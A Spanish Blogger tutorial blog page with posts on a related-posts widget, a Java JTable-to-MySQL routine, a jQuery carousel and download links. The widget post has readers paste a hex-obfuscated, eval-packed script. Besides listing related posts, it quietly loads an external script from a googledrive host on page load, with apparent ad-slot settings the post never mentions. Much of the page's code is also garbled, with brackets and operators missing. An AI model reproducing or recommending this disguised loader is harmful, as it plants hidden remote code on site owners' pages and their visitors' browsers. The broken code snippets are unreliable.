lunes, 2 de septiembre de 2013

Añade a tu blog el Bloque de entradas relacionadas Tipo Lista (Blogger)

9/02/2013
Hoy comparto con todos losBlogMaster este sencillo bloque que muestra las entradas relacionadas con un estilo tipo lista bastante atractivo que puede ser mejorado por medio de del CSS.

Instalación
1)Añadimos el CSS
nos dirigimos a laOpción Plantilla --Editar HTML dentro delEditor de Blogger haga clic dentro de el y realice la combinación de teclas CTRL-F para abrir el buscador del editor, y busque la etiqueta de cierre/b:skin y arriba de esta pegue el siguiente código CSS.

#related-posts {
float:center;
text-transform:none;
height:100%;
min-height:100%;
padding-top:5px;
padding-left:5px;
margin-top: 20px;
}
#related-posts .widget{
padding-left:6px;
margin-bottom:10px;
}
#related-posts .widget h2, #related-posts h2{
font-size:22px;
font-weight: normal;
color:#252525;
font-family: 'Montez', cursive;
margin-bottom: 0.75em;
padding-top: 0em;
}
#related-posts a{
font-size:16px;
color: #000000;
font-variant:small-caps;
}
#related-posts a:hover{
text-decoration: none;
color:#000000;
font-weight: bold;
}
#related-posts ul{
list-style-type:none;
margin:0 0 0px 0;
padding:0px;
text-decoration:none;
background-color: #FFF;
 -webkit-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 -moz-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 -ms-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 -o-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
}
#related-posts  li{
list-style-type: none;
background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyWKWvZTaJXhY0_UIGoyaRYQ0ukjdN0SIlQIIxXzkxXsAfSmXrI_L3TfPsU4s7szWd-vBt0R83qEBO2VVok14_VZPbXtbG4hSdeX3bqjY3-Iy949XMGwhBW1-DTmJz-NFHELvLYlCLLcg/s30-no/tick.png);
background-position: 13px center;
background-repeat: no-repeat;
padding: 10px 10px 10px 45px;
background-color: #EEE;
border-top: 1px solid #FFF;
border-bottom: 1px solid #DDD;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
-webkit-transition: all .2s linear;
-moz-transition: all .2s linear;
-ms-transition: all .2s linear;
 -o-transition: all .2s linear;
 transition: all .2s linear;
 -webkit-border-radius: 4px;
-moz-border-radius: 4px;
-ms-border-radius: 4px;
 -o-border-radius: 4px;
 border-radius: 4px;
}

#related-posts ul li:hover{
background-color:#e1f821;
background-position: 20px 50%;
padding-left: 55px;
}



2)Añadir el script JS(debe de tener el plugin JQuery 10.2 o 1.8.3 instalado en su Blog)
luego busque la etiqueta de cierre/head y justo arriba de el añada este script,el script si usted desea puede alojarlo enGoogle Site o cualquier servidor de archivos de su preferencia .

script type='text/javascript'
//![CDATA[
var _0xa55d=["\x33\x20\x34\x3D\x6D\x20\x6E\x28\x29\x3B\x33\x20\x71\x3D\x30\x3B\x33\x20\x35\x3D\x6D\x20\x6E\x28\x29\x3B\x31\x32\x2E\x78\x3D\x37\x28\x29\x7B\x4B\x28\x22\x31\x31\x3A\x2F\x2F\x31\x30\x2E\x59\x2F\x5A\x2F\x31\x33\x2D\x31\x34\x2F\x31\x39\x2E\x31\x38\x22\x29\x3B\x31\x37\x28\x28\x37\x28\x29\x7B\x31\x35\x28\x58\x29\x3B\x31\x61\x28\x56\x29\x3B\x4E\x28\x4F\x29\x3B\x50\x28\x27\x38\x2D\x39\x2D\x4D\x27\x29\x7D\x29\x2C\x57\x29\x7D\x3B\x37\x20\x51\x28\x79\x29\x7B\x67\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x79\x2E\x47\x2E\x63\x2E\x32\x3B\x69\x2B\x2B\x29\x7B\x33\x20\x63\x3D\x79\x2E\x47\x2E\x63\x5B\x69\x5D\x3B\x34\x5B\x71\x5D\x3D\x63\x2E\x54\x2E\x24\x74\x3B\x67\x28\x33\x20\x6B\x3D\x30\x3B\x6B\x3C\x63\x2E\x75\x2E\x32\x3B\x6B\x2B\x2B\x29\x7B\x62\x28\x63\x2E\x75\x5B\x6B\x5D\x2E\x52\x3D\x3D\x27\x53\x27\x29\x7B\x35\x5B\x71\x5D\x3D\x63\x2E\x75\x5B\x6B\x5D\x2E\x42\x3B\x71\x2B\x2B\x3B\x31\x6C\x7D\x7D\x7D\x7D\x37\x20\x31\x70\x28\x29\x7B\x33\x20\x64\x3D\x6D\x20\x6E\x28\x30\x29\x3B\x33\x20\x68\x3D\x6D\x20\x6E\x28\x30\x29\x3B\x67\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x35\x2E\x32\x3B\x69\x2B\x2B\x29\x7B\x62\x28\x21\x43\x28\x64\x2C\x35\x5B\x69\x5D\x29\x29\x7B\x64\x2E\x32\x2B\x3D\x31\x3B\x64\x5B\x64\x2E\x32\x2D\x31\x5D\x3D\x35\x5B\x69\x5D\x3B\x68\x2E\x32\x2B\x3D\x31\x3B\x68\x5B\x68\x2E\x32\x2D\x31\x5D\x3D\x34\x5B\x69\x5D\x7D\x7D\x34\x3D\x68\x3B\x35\x3D\x64\x7D\x37\x20\x43\x28\x61\x2C\x65\x29\x7B\x67\x28\x33\x20\x6A\x3D\x30\x3B\x6A\x3C\x61\x2E\x32\x3B\x6A\x2B\x2B\x29\x7B\x62\x28\x61\x5B\x6A\x5D\x3D\x3D\x65\x29\x7B\x7A\x20\x77\x7D\x7D\x3B\x7A\x20\x76\x7D\x37\x20\x31\x67\x28\x45\x29\x7B\x67\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x35\x2E\x32\x3B\x69\x2B\x2B\x29\x7B\x62\x28\x35\x5B\x69\x5D\x3D\x3D\x45\x29\x7B\x35\x2E\x6C\x28\x69\x2C\x31\x29\x3B\x34\x2E\x6C\x28\x69\x2C\x31\x29\x7D\x7D\x33\x20\x72\x3D\x48\x2E\x31\x73\x28\x28\x34\x2E\x32\x2D\x31\x29\x2A\x48\x2E\x31\x6D\x28\x29\x29\x3B\x33\x20\x69\x3D\x30\x3B\x62\x28\x34\x2E\x32\x3E\x31\x29\x7B\x66\x2E\x6F\x28\x27\x3C\x46\x3E\x27\x2B\x31\x6A\x2B\x27\x3C\x2F\x46\x3E\x27\x29\x7D\x66\x2E\x6F\x28\x27\x3C\x49\x3E\x27\x29\x3B\x31\x66\x28\x69\x3C\x34\x2E\x32\x26\x26\x69\x3C\x31\x63\x26\x26\x69\x3C\x31\x65\x29\x7B\x66\x2E\x6F\x28\x27\x3C\x44\x3E\x3C\x61\x20\x42\x3D\x22\x27\x2B\x35\x5B\x72\x5D\x2B\x27\x22\x3E\x27\x2B\x34\x5B\x72\x5D\x2B\x27\x3C\x2F\x61\x3E\x3C\x2F\x44\x3E\x27\x29\x3B\x62\x28\x72\x3C\x34\x2E\x32\x2D\x31\x29\x7B\x72\x2B\x2B\x7D\x31\x6E\x7B\x72\x3D\x30\x7D\x69\x2B\x2B\x7D\x66\x2E\x6F\x28\x27\x3C\x2F\x49\x3E\x27\x29\x3B\x35\x2E\x6C\x28\x30\x2C\x35\x2E\x32\x29\x3B\x34\x2E\x6C\x28\x30\x2C\x34\x2E\x32\x29\x7D\x37\x20\x4B\x28\x4C\x29\x7B\x33\x20\x36\x3D\x66\x2E\x31\x68\x28\x22\x31\x69\x22\x29\x2C\x70\x3D\x76\x3B\x36\x2E\x78\x3D\x36\x2E\x4A\x3D\x37\x28\x29\x7B\x62\x28\x28\x36\x2E\x41\x26\x26\x36\x2E\x41\x21\x3D\x3D\x22\x31\x64\x22\x26\x26\x36\x2E\x41\x21\x3D\x3D\x22\x70\x22\x29\x7C\x7C\x70\x29\x7B\x7A\x20\x76\x7D\x36\x2E\x78\x3D\x36\x2E\x4A\x3D\x31\x6B\x3B\x70\x3D\x77\x7D\x3B\x36\x2E\x31\x71\x3D\x77\x3B\x36\x2E\x31\x72\x3D\x4C\x3B\x33\x20\x73\x3D\x66\x2E\x31\x62\x28\x27\x31\x36\x27\x29\x5B\x30\x5D\x3B\x73\x2E\x55\x28\x36\x2C\x73\x2E\x31\x6F\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x76\x61\x72\x7C\x72\x65\x6C\x61\x74\x65\x64\x54\x69\x74\x6C\x65\x73\x7C\x72\x65\x6C\x61\x74\x65\x64\x55\x72\x6C\x73\x7C\x65\x6C\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x7C\x7C\x7C\x69\x66\x7C\x65\x6E\x74\x72\x79\x7C\x74\x6D\x70\x7C\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x66\x6F\x72\x7C\x74\x6D\x70\x32\x7C\x7C\x7C\x7C\x73\x70\x6C\x69\x63\x65\x7C\x6E\x65\x77\x7C\x41\x72\x72\x61\x79\x7C\x77\x72\x69\x74\x65\x7C\x6C\x6F\x61\x64\x65\x64\x7C\x72\x65\x6C\x61\x74\x65\x64\x54\x69\x74\x6C\x65\x73\x4E\x75\x6D\x7C\x7C\x68\x68\x65\x61\x64\x7C\x7C\x6C\x69\x6E\x6B\x7C\x66\x61\x6C\x73\x65\x7C\x74\x72\x75\x65\x7C\x6F\x6E\x6C\x6F\x61\x64\x7C\x6A\x73\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65\x7C\x68\x72\x65\x66\x7C\x63\x6F\x6E\x74\x61\x69\x6E\x73\x7C\x6C\x69\x7C\x63\x75\x72\x72\x65\x6E\x74\x75\x72\x6C\x7C\x68\x32\x7C\x66\x65\x65\x64\x7C\x4D\x61\x74\x68\x7C\x75\x6C\x7C\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65\x7C\x6C\x6F\x61\x64\x73\x63\x72\x69\x70\x7C\x70\x61\x74\x68\x7C\x32\x30\x31\x33\x7C\x73\x65\x74\x41\x6C\x74\x6F\x7C\x39\x30\x7C\x73\x65\x74\x44\x61\x74\x65\x41\x63\x74\x69\x76\x65\x7C\x72\x65\x6C\x61\x74\x65\x64\x5F\x72\x65\x73\x75\x6C\x74\x73\x5F\x6C\x61\x62\x65\x6C\x73\x7C\x72\x65\x6C\x7C\x61\x6C\x74\x65\x72\x6E\x61\x74\x65\x7C\x74\x69\x74\x6C\x65\x7C\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65\x7C\x37\x32\x38\x7C\x32\x65\x33\x7C\x33\x31\x30\x37\x31\x36\x36\x39\x33\x31\x7C\x63\x6F\x6D\x7C\x68\x6F\x73\x74\x7C\x67\x6F\x6F\x67\x6C\x65\x64\x72\x69\x76\x65\x7C\x68\x74\x74\x70\x73\x7C\x77\x69\x6E\x64\x6F\x77\x7C\x30\x42\x32\x7C\x78\x4D\x32\x5F\x56\x41\x6C\x63\x4F\x65\x57\x46\x52\x65\x48\x70\x6A\x52\x58\x42\x6F\x64\x32\x73\x7C\x73\x65\x74\x53\x6C\x6F\x74\x7C\x68\x65\x61\x64\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x6A\x73\x7C\x30\x30\x30\x31\x34\x43\x41\x7C\x73\x65\x74\x41\x6E\x63\x68\x6F\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x32\x30\x7C\x63\x6F\x6D\x70\x6C\x65\x74\x65\x7C\x6D\x61\x78\x72\x65\x73\x75\x6C\x74\x73\x7C\x77\x68\x69\x6C\x65\x7C\x65\x74\x69\x71\x75\x65\x74\x61\x73\x52\x65\x6C\x61\x63\x69\x6F\x6E\x61\x64\x61\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x73\x63\x72\x69\x70\x74\x7C\x74\x69\x74\x75\x6C\x6F\x70\x6F\x73\x74\x7C\x6E\x75\x6C\x6C\x7C\x62\x72\x65\x61\x6B\x7C\x72\x61\x6E\x64\x6F\x6D\x7C\x65\x6C\x73\x65\x7C\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64\x7C\x72\x65\x6D\x75\x65\x76\x65\x72\x65\x70\x65\x74\x69\x64\x6F\x73\x7C\x61\x73\x79\x6E\x63\x7C\x73\x72\x63\x7C\x66\x6C\x6F\x6F\x72","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x97cex1,_0x97cex2,_0x97cex3,_0x97cex4,_0x97cex5,_0x97cex6){_0x97cex5=function (_0x97cex3){return (_0x97cex3_0x97cex2?_0xa55d[4]:_0x97cex5(parseInt(_0x97cex3/_0x97cex2)))+((_0x97cex3=_0x97cex3%_0x97cex2)35?String[_0xa55d[5(_0x97cex3+29):_0x97cex3.toString(36));} ;if(!_0xa55d[4][_0xa55d[6(/^/,String)){while(_0x97cex3--){_0x97cex6[_0x97cex5(_0x97cex3)]=_0x97cex4[_0x97cex3]||_0x97cex5(_0x97cex3);} ;_0x97cex4=[function (_0x97cex5){return _0x97cex6[_0x97cex5];} ];_0x97cex5=function (){return _0xa55d[7];} ;_0x97cex3=1;} ;while(_0x97cex3--){if(_0x97cex4[_0x97cex3]){_0x97cex1=_0x97cex1[_0xa55d[6( new RegExp(_0xa55d[8]+_0x97cex5(_0x97cex3)+_0xa55d[8],_0xa55d[9]),_0x97cex4[_0x97cex3]);} ;} ;return _0x97cex1;} (_0xa55d[0],62,91,_0xa55d[3][_0xa55d[2(_0xa55d[1]),0,{}));
//
/script



3)Añadir las Condicionales Blogger
Busque la etiqueta de cierredata:post.body/ y justo debajo de esta pegue el siguiente código, tenga en cuenta que todas las plantillas no son iguales por lo que pueden existir varias etiquetas deberá de realizar varias pruebas con el código que va a insertar a continuación.

b:if cond='data:blog.pageType == "item"'
div id='related-posts' b:loop values='data:post.labels' var='label' 
b:if cond='data:label.isLast != "true"' /b:if 
b:if cond='data:blog.pageType == "item"'
 script expr:src='"/feeds/posts/default/-/" + data:label.name + "?alt=json-in-script&callback=related_results_labels&max-results=6"' type='text/javascript'/
/b:if
/b:loop
script type='text/javascript'
 var maxresults=5;
 remueverepetidos();
 etiquetasRelacionada("data:post.url/"); 
/script 
/div 
/b:if



Guarde los cambios y revise que el bloque aparezca con los títulos de las entradas.

Parámetros
maxresults=5; (es el numero de post relacionados a mostrar si usted desea puede aumentar el numero)




martes, 27 de agosto de 2013

Extrae todos los datos de un JTable y guardalos todos en una Tabla MYSQL al mismo tiempo en java

8/27/2013

Mas de una ocasión me han preguntado como extraer todos los datos de un JTable y guardar esos datos en una Tabla MySql ,así que para cumplir con esas dudas hoy les enseño como.

Primero que debemos de hacer?
primero que todo tengo que extraer todos los datos insertados en el JTable y almacenar estos datos en un Array en este caso voy a utilizar unArrayListStringque es ideal y mucho mas fácil manejar.
ante que todo tengo que saber cuantasFilas yColumnas tiene el JTable para esto existen los metodos:getRowCount()método que me retorna el numero de filas existente ygetColumnCount() que me retorna el numero de columnas con estos métodos formare dos buclesfor asi podre recorrer filas y columnas por medio del métodogetValueAt(filas ,columnas) que me recibe el numero de filas y el numero de columnas y que me retornara todos los datos que se han recorrido.


for(int i=0; itabla.getRowCount(); i++) //recorro las filas
  {
   for(int a=0; atabla.getColumnCount(); a++) //recorro las columnas
   {
    full_datos.add(modelo.getValueAt(i ,a).toString()); 
   }
  }


de esta forma tendré almacenado todos los datos dentro delArrayList.este ArrayList tendremos que pasarle los valores a unIterator para luego recorrer los valores y ser almacenados dentro de un vector estos valores tendrán que ser cortados por un control que que hace referencia al numero de columnas de la tabla en MySql0,1,2 una vez que añadimos los valores al Vector tendré que eliminar esos valores delIterator ,y luego procedemos alamacenar los valores del vector a la Tabla MySqlFila porFila
 Vector datosGuardar=new Vector(1);
      int cont=-1;
   IteratorString nombreIterator = full_datos.iterator();
   while(nombreIterator.hasNext()){
    cont++;
    String elemento = nombreIterator.next();
    if(cont=2){
     datosGuardar.addElement(elemento);
     nombreIterator.remove();
    }
   
  }





Ahora necesito verificar la existencia de datos en la Tabla donde tengo que insertar los datos del JTable
esto lo hago con el fin de saber el numero de registros que existen en la Tabla de la base de datos estos deben ser igual al numero de registros del JTable .

try {
    ResultSet rs=ConexionBD.Consulta("SELECT * FROM masi_produc");
    if(rs.next()){
     
      int num_filas= ConexionBD.CuantasFilas("masi_produc");
      
      if(num_filas==filas){
       hay_datos=false;
      }
      else{
 
       GuardarDatos(columnas);
       
      }
      num_datos.setText(num_filas+" de "+filas+" Datos");
        
      
    }
    else{
     GuardarDatos(columnas);
    }
    
   } catch (SQLException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
   }



como podrá ver formo una consulta simple para determinar si existen datos, si no existen o la tabla esta vacía elResultSet.next() me retornara un valorbooleano falso es ay donde insertamos la primera linea proveniente del método GuardarDatos(columnas); , y si existieran datos elResultSet.next() nos retornara el valorbooleano true aquí es donde utilizamos el métodoCuantasFilas(campo) de la claseConexionBD este método me recibe el nombre de la tabla MySql donde voy a guardar los datos y me retorna el numero de filas que posee esa tabla, y cuando el numero de filas sea igual al numero de filas del JTable este dara paso a una variable booleanaque detendra el HILO que llama a este proceso.


public void run()
 {
  
     while(main.hay_datos){
      
      main.VerificarDatos();
     }
  
 }



les dejo el codigo fuente completo mas la base de datos .


DESCARGAR




lunes, 26 de agosto de 2013

Mostrar varias imágenes con controles anterior y siguiente (Carrousel simple) con jQuery

8/26/2013

Hace poco me pidieron realizar un ejemplo sencillo sobre un carrousel simple con jQuery ,este carrousel muestra imágenes por medio de dos controlesAnterior ySiguiente puede ser útil no solo para mostrar imágenes si no cualquier uso que le demos como por ejemplo: mostrar formularios para un registro o cual quier otro uso.
aquí puedes ver un demo de ello ↓↓



Como lo hacemos?
primero debemos de estructurar nuestro carrousel ya sea el uso que le demos las partes o contenedores que necesitamos son la cabecera (header)en donde tengo los nombres de las imágenes y la parte central que son todassection son los contenedores de las imágenes cada una con un ID diferente.
ahora por medio de jQuery necesito extraer cuantos contenedoressection tengo, para eso le digo alselect de jQuery que me busque en el contenedor cuyo ID escont_paneles y añadiendo el signo de mayor que"" yel elementosection elselect nos retornara un array con todos los elementos encontrados.

var section = jQuery('#cont_panelessection');


Ahora vamos a ocultar todos los elementossection para ello antenpongo en la variablesection el métodohide();(ocultar)este método me oculta todos los elementos pero necesito que el primer elemento este visible entonces llamo al métodofirst();(primero) este método me seleccionara el primer elemento pero aun sigue oculto, entonces llamo al métodoshow(); (mostrar) con eso podre mostrar el primer elemento y dejar a los otros ocultos.

var section = jQuery('#cont_panelessection');
section.hide().first().show(); 
var mostrar_section = 0;


también creo una variable de tipo entero cuyo valor sea cero, como les dije anterior mente elselect nos retorna un array que esta almacenado en la variablesection,entonces necesito recorrer ese array ese elemento para eso utilizo el métodoeq() este método me recibe el indice o la posición del elemento que necesito manipular o en este caso ocultar o mostrar.

section.eq(mostrar_section).hide();
mostrar_section = (mostrar_section + 1  section.length) ? mostrar_section + 1 : 0;
section.eq(mostrar_section).show();



luego hago un pequeño control para incrementar las posiciones y dar paso a que se muestren las otrassection cada que vez que se haga click en el botón siguiente.
de la misma forma pero decrementando podemos retroceder las imágenes en este caso seriaanterior .


var section = jQuery('#cont_panelessection');
 var botones=  jQuery('#cont_cabezainput[type="button"]');
    var mostrar_section = 0; 
 var pintar_boton=0;
 
    section.hide().first().show(); 
 botones.first().addClass('activa_button');
 
    jQuery("#bto_siguiente").click(function() {
        section.eq(mostrar_section).hide();//oculto el primer panel que esta en la posicion 0
  botones.eq(pintar_boton).removeClass('activa_button');
        mostrar_section = (mostrar_section + 1  section.length) ? mostrar_section + 1 : 0;
  pintar_boton=(pintar_boton + 1  botones.length) ? pintar_boton + 1 : 0;
        section.eq(mostrar_section).show(); // muesta el siguiente
  botones.eq(pintar_boton).addClass('activa_button');
    });
 
    jQuery("#bto_anterior").click(function() {
        section.eq(mostrar_section).hide();
  botones.eq(pintar_boton).removeClass('activa_button');
        mostrar_section = (mostrar_section  0) ? mostrar_section - 1 : section.length - 1;
  pintar_boton = (pintar_boton  0) ? pintar_boton - 1 : botones.length - 1;
        section.eq(mostrar_section).show(); // muestra el anterior
  botones.eq(pintar_boton).addClass('activa_button');
    });



les dejo el código fuente completo


DESCARGAR







Descargate este Pack de ejemplos HTML5

8/26/2013

Hoy comparto con ustedes un Pack deejemplos HTML5 ideal para principiantes que quieran tener una idea de lo que es HTML5 y todo lo que se puede hacer con este lenguaje web.

Contenido del Pack

  • @fontface para iconos vectoriales
  • Canvas
  • Contentenedor Editable
  • File API
  • Geolocalización
  • GetUserMedia
  • LocalStorage _ SessionStorage
  • Modernizr
  • multimedia
  • Responsive
  • Semántica
  • SVG
  • CSS3


DESCARGAR



martes, 20 de agosto de 2013

descargate este MegaPack de ejemplos Js,jQuery,Html5 desarrollados por lewebmonster (56 ejemplos)

8/20/2013

Hace 3 diasCali Rojas administrador y programador de lewebmonsterpuso a disposición todos sus ejemplos y proyectos explicados en su sitio web, en este sitio podrán encontrar varios tutoriales sobre desarrollo web y sobre los lenguajes mas usado para crear paginas webjavascript, Html5, JQuery. PHP, CSS, MySQL, Linux.

Contenido del MegaPack
  • Acordeon vertical-horizontal con css3
  • Agenda local storage html5-y-jquery
  • Animacion de escenarios con jquery
  • Animar la posición con transiciones css3
  • Animar personaje de juego con javascript
  • Buscar en tablas jquery
  • Cambiar la opacidad de elementos jquery
  • Carrusel de imagenes jquery-sin-plugins
  • Checkbox personalizado usando clases-y-jquery
  • Colapsar y expandir contenido-html5
  • Confirmar abandonar pagina con javascript
  • Control color html5
  • Control range html5
  • Crear efecto circular con jquery
  • Crear una capa flotante con jquery
  • Detectar pulsaciones de teclas con jquery
  • Efecto caida de nieve con jquery
  • Efecto cubo 3d con jquery
  • Efecto hover en imagenes con jquery
  • Efecto rollover en cruz con-jquery
  • Efecto scratchcard con jquery
  • Efectos de fondo con css3
  • Efecto texto 3d con css3
  • El atributo contenteditable de html5
son alrededor de 56 ejemplos y proyectos web , que estoy mas que seguro que te sirvieran mucho(Totalmente Recomendado :D)



DESCARGAR


lunes, 19 de agosto de 2013

Descargate y aprende a trabajar con fuentes web ideal para los diseñadores web

8/19/2013

Marlon Ceballos te presenta su cursoTrabajo con fuentes web. Dale vida a tus sitios con fuentes optimizadas.

En este curso video2brain conocerás los más importantes servicios de fuentes web y aprenderás a usarlas en tus sitios.

sabrás sobre la compatibilidad actual de laregla @font-face con los diferentes navegadores así como la compatibilidad de los diferentes formatos de fuentes web y el motivo por el cual se los usa.

Dentro del curso conocerás desde cómo descargar una fuente y convertirla a diferentes formatos que den soporte a todos los navegadores para después insertar el código en tu proyectoHTML y usarlo medianteCSS hasta el uso de las opciones de aplicaciones comoDreamweaver,Muse y Edge Animate que permiten trabajar con servicios comoEdge Web Fonts y Type sin tener que usar código. (Recomendado).



DESCARGAR
Suscribirse a: Entradas (Atom)